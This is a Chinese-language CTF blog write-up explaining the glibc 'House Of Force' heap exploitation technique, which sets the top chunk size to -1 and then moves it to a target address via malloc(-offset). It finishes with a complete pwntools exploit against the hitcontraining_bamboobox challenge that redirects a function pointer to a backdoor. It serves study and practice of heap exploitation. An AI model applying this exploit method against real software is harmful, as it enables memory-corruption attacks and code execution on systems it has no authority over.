heap - 14 - house漏洞

1. House Of Force

1) 介绍

以下部分介绍来自CTF wiki

  • House Of Force 产生的原因在于 glibc 对 top chunk 的处理。进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
  • 当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时,我们就可以使得 top chunk指向我们期望的任何位置,这就相当于一次任意地址写。
  • 然而在 glibc 中,会对用户请求的大小和 top chunk 现有的 size 进行验证。
    • top chunk的大小必须足够大,否则申请一块超大内存时,程序会调用mmap而不是切割top chunk。
      这使得我们必须通过堆溢出,将top chunk的size改大。通常将其size改为-1
      因为有符号整数-1,刚好是最大的无符号整数。
    • malloc的大小必须小于-2*MINSIZE(在64位机器上为-0x40

      为什么? 请在heap相关宏定义中,查阅checked_request2size(req, sz)宏定义。

  • 利用方法
    • 在修改top chunk的size为(unsigned)-1后,我们需要计算目标地址与top chunk的相对偏移量
      (offset = target_addr - top_chunk_addr + chunk_head_size + [chunk_align])
    • 确定好相对偏移量后,malloc(-offset)就可以将top chunk迁移到目标地址。
      下一次malloc就会切割top chunk,并分配目标地址

      为什么malloc的大小是-offset呢?这就涉及到无符号整数的计算了。
      top_chunk_addr + (unsigned)(-offset),其计算结果由于最高位溢出,会刚好等于target_addr

    以上的偏移量计算方式是假定目标地址比堆的地址要低。但实际上,如果目标地址比堆的地址要高,则上述计算方式依然成立。

    • 若目标地址同样在堆上,则相对偏移始终不变
      但如果目标地址不在堆上,例如ELF.bss段,则必须尝试 泄露堆地址,之后才能利用House Of Force
  • 利用条件
    • 能够以溢出等方式控制到 top chunk 的 size 域
    • 能够自由地控制堆分配尺寸的大小
    • 可计算top chunk与目标地址之间的偏移量

2) 例题 —— hitcontraining_bamboobox

a. 易知信息

  • 关闭了PIE
  • add_item函数,对malloc的大小没有做限制。
  • change_item函数,有堆溢出漏洞
  • 存在后门函数magic,输出/home/bamboobox/flag

虽然存在后门函数,但BUUOJ几乎从不复现环境。所以House Of Force是得不到flag的。

b. 分析

  • 程序在main函数开始时,malloc了一块用于存放hello_messagegoodbye_message函数指针的chunk
  • 我们可以利用House Of Force,申请到那一块chunk,修改上面的函数指针为magic,进而在退出时执行magic函数

c. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
import sys
from pwn import *

ELFname = "./bamboobox"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

e = ELF(ELFname)

sla = lambda msg, content : io.sendlineafter(msg, content)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

def add(size, content=""):
sla("Your choice:", "2")
sla("Please enter the length of item name:", str(size))
sla("Please enter the name of item:", content)

def change(index, content):
sla("Your choice:", "3")
sla("Please enter the index of item:", str(index))
sla("Please enter the length of item name:", str(len(content)))
sla("Please enter the new name of the item:", content)

def remove(index):
sla("Your choice:", "4")
sla("Please enter the index of item:", str(index))

def quit():
sla("Your choice:", "5")


add(0x20) # 0
change(0, flat(cyclic(0x28), -1))
debug()
add(-0x60) # 1
add(0x10) # 2
change(2, flat(cyclic(0x8), e.symbols['magic']))
quit()

io.interactive()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~